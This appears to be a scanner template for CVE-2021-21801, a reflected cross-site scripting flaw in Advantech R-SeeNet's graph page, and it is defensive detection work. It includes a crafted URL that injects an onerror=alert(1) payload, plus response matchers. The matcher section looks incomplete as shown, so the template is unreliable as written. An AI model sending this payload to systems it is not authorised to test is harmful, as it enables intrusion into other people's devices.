id: CVE-2021-21801
info:
name: Advantech R-SeeNet graph parameter - Reflected Cross-Site Scripting (XSS)
author: gy741
severity: medium
description: This vulnerability is present in device_graph_page.php script, which is a part of the Advantech R-SeeNet web applications. A specially crafted URL by an attacker and visited by a victim can lead to arbitrary JavaScript code execution.
reference: https://talosintelligence.com/vulnerability_reports/TALOS-2021-1272
tags: cve,cve2021,rseenet,xss,graph
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.10
cve-id: CVE-2021-21801
cwe-id: CWE-79
requests:
- method: GET
path:
- '{{BaseURL}}/php/device_graph_page.php?graph=%22zlo%20onerror=alert(1)%20%22'
matchers-condition: and
matchers:
- type: word
words:
- '"zlo onerror=alert(1) "'
- 'Device Status Graph'
part: body
condition: and
part: header
- text/html
- type: status
status:
- 200